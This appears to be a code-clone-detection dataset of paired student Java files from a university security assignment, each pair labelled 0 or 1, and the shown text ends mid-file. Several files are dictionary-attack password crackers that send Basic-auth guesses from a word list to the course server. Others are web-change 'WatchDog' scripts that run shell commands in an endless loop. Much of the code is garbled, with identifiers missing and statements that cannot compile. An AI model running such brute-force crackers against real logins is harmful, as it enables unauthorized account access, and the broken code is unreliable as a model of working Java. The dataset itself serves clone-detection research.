public static void main (String args[]) throws IOException,
MalformedURLException
{
final String username = "";
final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";
final String dictfile = "/usr/share/lib/dict/words";
String temppass;
String password = "";
URL url = new URL(fullurl);
boolean cracked = false;
startTime = System.currentTimeMillis();
BufferedReader r = new BufferedReader(new FileReader(dictfile));
while((temppass = r.readLine()) != null && !cracked)
{
if(temppass.length() <= 3)
{
if(isAlpha(temppass))
{
Authenticator.setDefault(new MyAuthenticator(username,temppass));
try{
BufferedReader x = new BufferedReader(new InputStreamReader(
url.openStream()));
cracked = true;
password = temppass;
} catch(Exception e){}
}
}
}
stopTime = System.currentTimeMillis();
if(!cracked)
System.out.println("Sorry, couldnt find the password");
else
System.out.println("Password found: "+password);
System.out.println("Time taken: "+(stopTime-startTime));
}
public static boolean isAlpha(String s)
{
boolean v = true;
for(int i=0; i<s.length(); i++)
{
if(!Character.isLetter(s.charAt(i)))
v = false;
}
return ;
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
133.java | 195.java | 0 |
import java.net.*;
import java.io.*;
public class Dictionary
{
private String myUsername = "";
private String myPassword = "";
private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";
public static void main (String args[])
{
Dictionary d = new Dictionary();
}
public Dictionary()
{
generatePassword();
}
public void generatePassword()
{
try
{
BufferedReader = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
{
myPassword = bf.readLine();
crackPassword(myPassword);
} while (myPassword != null);
}
catch(IOException e)
{ }
}
public void crackPassword(String passwordToCrack)
{
String data, dataToEncode, encodedData;
try
{
URL url = new URL (urlToCrack);
dataToEncode = myUsername + ":" + passwordToCrack;
encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());
URLConnection urlCon = url.openConnection();
urlCon.setRequestProperty ("Authorization", " " + encodedData);
InputStream is = (InputStream)urlCon.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader bf = new BufferedReader (isr);
{
data = bf.readLine();
System.out.println(data);
displayPassword(passwordToCrack);
} while (data != null);
}
catch (IOException e)
{ }
}
public void displayPassword(String foundPassword)
{
System.out.println("\nThe cracked password is : " + foundPassword);
System.exit(0);
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
174.java | 195.java | 0 |
import java.util.*;
import java.io.*;
public class MyTimer
{
public static void main(String args[])
{
Watchdog watch = new Watchdog();
Timer time = new Timer();
time.schedule(watch,864000000,864000000);
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
218.java | 195.java | 1 |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
Process p1,p2,p3,p4,p5;
for(;;)
{
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"Part 2-Assignment2 \" < change.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};
String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
Process p = Runtime.getRuntime().exec("mkdir predir");
p.waitFor();
Process p1 = Runtime.getRuntime().exec("mkdir postdir");
p1.waitFor();
p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process q2 = Runtime.getRuntime().exec(s2);
q2.waitFor();
Process q3 = Runtime.getRuntime().exec(s3);
q2.waitFor();
Thread.sleep(86400000);
p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process q4 = Runtime.getRuntime().exec(s4);
q4.waitFor();
Process q5 = Runtime.getRuntime().exec(s5);
q5.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s6);
DataInputStream inp1 = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("The WatchDog - Returns 0 if change else 1");
System.out.println("Value :" + p4.exitValue());
try
{
while ((str = inp1.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e )
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("change.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream inp2 = new DataInputStream(p5.getInputStream());
p5.waitFor();
try
{
while ((str1 = inp2.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException exp)
{
exp.printStackTrace();
}
}
}
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
250.java | 195.java | 0 |
class C {
private static byte[] cvtTable = {
(byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
(byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
(byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
(byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
(byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
(byte)'Z',
(byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
(byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
(byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
(byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
(byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
(byte)'z',
(byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
(byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
(byte)'+', (byte)'/'
};
static String encode(String name,
String passwd) {
byte input[] = (name + ":" + passwd).getBytes();
byte[] output = new byte[((input.length / 3) + 1) * 4];
int ridx = 0;
int chunk = 0;
for (int i = 0; i < input.length; i += 3) {
int left = input.length - i;
if (left > 2) {
chunk = (input[i] << 16)|
(input[i + 1] << 8) |
input[i + 2];
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = cvtTable[(chunk&0x3F)];
} else if (left == 2) {
chunk = (input[i] << 16) |
(input[i + 1] << 8);
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = '=';
} else {
chunk = input[i] << 16;
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = '=';
output[ridx++] = '=';
}
}
return new String(output);
}
} |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
152.java | 195.java | 0 |
import java.net.*;
import java.io.IOException;
import java.util.*;
import java.io.*;
public class Dictionary {
static String userName;
static URL url;
static URLAuthenticator urlAuthenticator;
static int noOfAttempts;
public Dictionary() {
}
public static void main (String args[]) {
Properties props = System.getProperties();
props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080");
System.out.println(props.get("http.proxyHost"));
BufferedReader inFile = null;
try {
if (args.length < 1) {
System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words");
System.exit(1);
}
inFile = new BufferedReader (new FileReader(args[0]));
breakPassword(inFile);
}
catch (FileNotFoundException e) {
System.err.println(e.getMessage());
System.exit(1);
}
catch (IOException e) {
System.err.println(e.getMessage());
System.exit(1);
}
finally {
try {
inFile.close();
}
catch (IOException ex) {ex.printStackTrace();}
}
}
private static void breakPassword (BufferedReader file) throws
IOException {
String password=" ";
userName="";
boolean found= false;
MyHttpURLConnection httpURLConnection;
String passBase64=" ";
urlAuthenticator = new URLAuthenticator(userName);
HttpURLConnection u=null;
String input;
try {
url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
} catch (MalformedURLException e){
} catch (IOException io) {io.printStackTrace();}
while (( input = file.readLine()) != null) {
if (input.length() <=3) {
password = input;
password =":"+ password;
try {
u = (HttpURLConnection)url.openConnection();
passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
u.setRequestProperty("Authorization", " " + passBase64);
u.connect();
noOfAttempts++;
if (u.getContentLength() != 0) {
if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) {
found=true;
System.out.println("Your User Name : Password Combination is :"+password+
" "+ " Found by Thread");
System.out.println(" ");
System.out.println(" of Attempts / Requests "+ noOfAttempts);
System.exit(0);
}
}
} catch (ProtocolException px) {px.printStackTrace();
} catch (BindException e){e.printStackTrace();
} catch (IndexOutOfBoundsException e3){e3.printStackTrace();
} catch (IOException io) {io.printStackTrace();
} finally {u.disconnect();
}
}
}
}
}
class URLAuthenticator extends Authenticator {
private String uName;
String passwd;
static private char[] password;
public URLAuthenticator(String uName) {
this.uName = uName;
}
public void setPassword(String passwd) {
this.passwd=passwd;
password=passwd.toCharArray();
}
public PasswordAuthentication getPasswordAuthentication() {
PasswordAuthentication passwordAuthentication = new PasswordAuthentication(uName,password);
return passwordAuthentication;
}
}
class MyHttpURLConnection extends HttpURLConnection {
public MyHttpURLConnection(URL url) {
super(url);
}
public void disconnect() {
}
public boolean usingProxy() {
return true;
}
public void connect() {
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
187.java | 195.java | 0 |
import java.net.*;
import java.io.*;
import java.util.Date;
public class MyMail implements Serializable
{
public static final int SMTPPort = 25;
public static final char successPrefix = '2';
public static final char morePrefix = '3';
public static final char failurePrefix = '4';
private static final String CRLF = "\r\n";
private String mailFrom = "";
private String mailTo = "";
private String messageSubject = "";
private String messageBody = "";
private String mailServer = "";
public MyMail ()
{
super();
}
public MyMail ( String serverName)
{
super();
mailServer = serverName;
}
public String getFrom()
{
return mailFrom;
}
public String getTo()
{
return mailTo;
}
public String getSubject()
{
return messageSubject;
}
public String getMessage()
{
return messageBody;
}
public String getMailServer()
{
return mailServer;
}
public void setFrom( String from )
{
mailFrom = from;
}
public void setTo ( String To )
{
mailTo = To;
}
public void setSubject ( String subject )
{
messageSubject = subject;
}
public void setMessage ( String msg )
{
messageBody = msg;
}
public void setMailServer ( String server )
{
mailServer = server;
}
private boolean responseValid( String response )
{
if (response.indexOf(" ") == -1)
return false;
String cad = response.substring( 0, response.indexOf(" "));
cad = cad.toUpperCase();
if (( cad.charAt(0) == successPrefix ) ||
( cad.charAt(0) == morePrefix ) )
return true;
else
return false;
}
public void sendMail()
{
try {
String response;
Socket mailSock = new Socket (mailServer, SMTPPort);
BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream()));
PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream()));
System.out.println("1");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
try
{
InetAddress addr = InetAddress.getLocalHost();
String localHostname = addr.getHostName();
pout.print ("HELO " + localHostname + CRLF);
}
catch (UnknownHostException uhe)
{
pout.print ("HELO myhostname" + CRLF);
}
pout.flush();
System.out.println("2");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("MAIL From:<" + mailFrom + ">");
pout.flush();
System.out.println("3");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("RCPT :<" + mailTo + ">");
pout.flush();
System.out.println("4");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("DATA");
pout.flush();
System.out.println("5");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("From: " + mailFrom);
pout.println (": " + mailTo);
pout.println ("Subject: " + messageSubject);
pout.println ();
pout.println (messageBody);
pout.println (".\n\r");
pout.flush();
System.out.println("6");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("QUIT");
pout.flush();
mailSock.close();
}
catch (IOException ioe)
{
System.out.println(ioe.getMessage());
}
}
} |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
205.java | 195.java | 0 |
import java.util.*;
import java.io.*;
public class DicReader
{
private Vector v;
public DicReader( String fileName)
{
boolean flag = true;
String line;
v = new Vector( 50);
try
{
BufferedReader in = new BufferedReader( new FileReader( fileName));
while(( line = in.readLine()) != null)
{
flag = true;
if( line.length() > 0 && line.length() < 4 )
{
for( int i = 0; i < line.length(); i++)
{
if( Character.isLetter( line.charAt( i)) == false)
{
flag = false;
}
}
if( flag == true)
{
v.add( line);
}
}
}
in.print();
}
catch( IOException e)
{
System.out.println( " not open the file!");
System.exit( 0);
}
}
public Vector getVictor()
{
return v;
}
public static void main ( String [] args)
{
DicReader fr = new DicReader( "/usr/share/lib/dict/words");
System.out.println( " far "+fr.getVictor().size()+" combinations loaded");
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
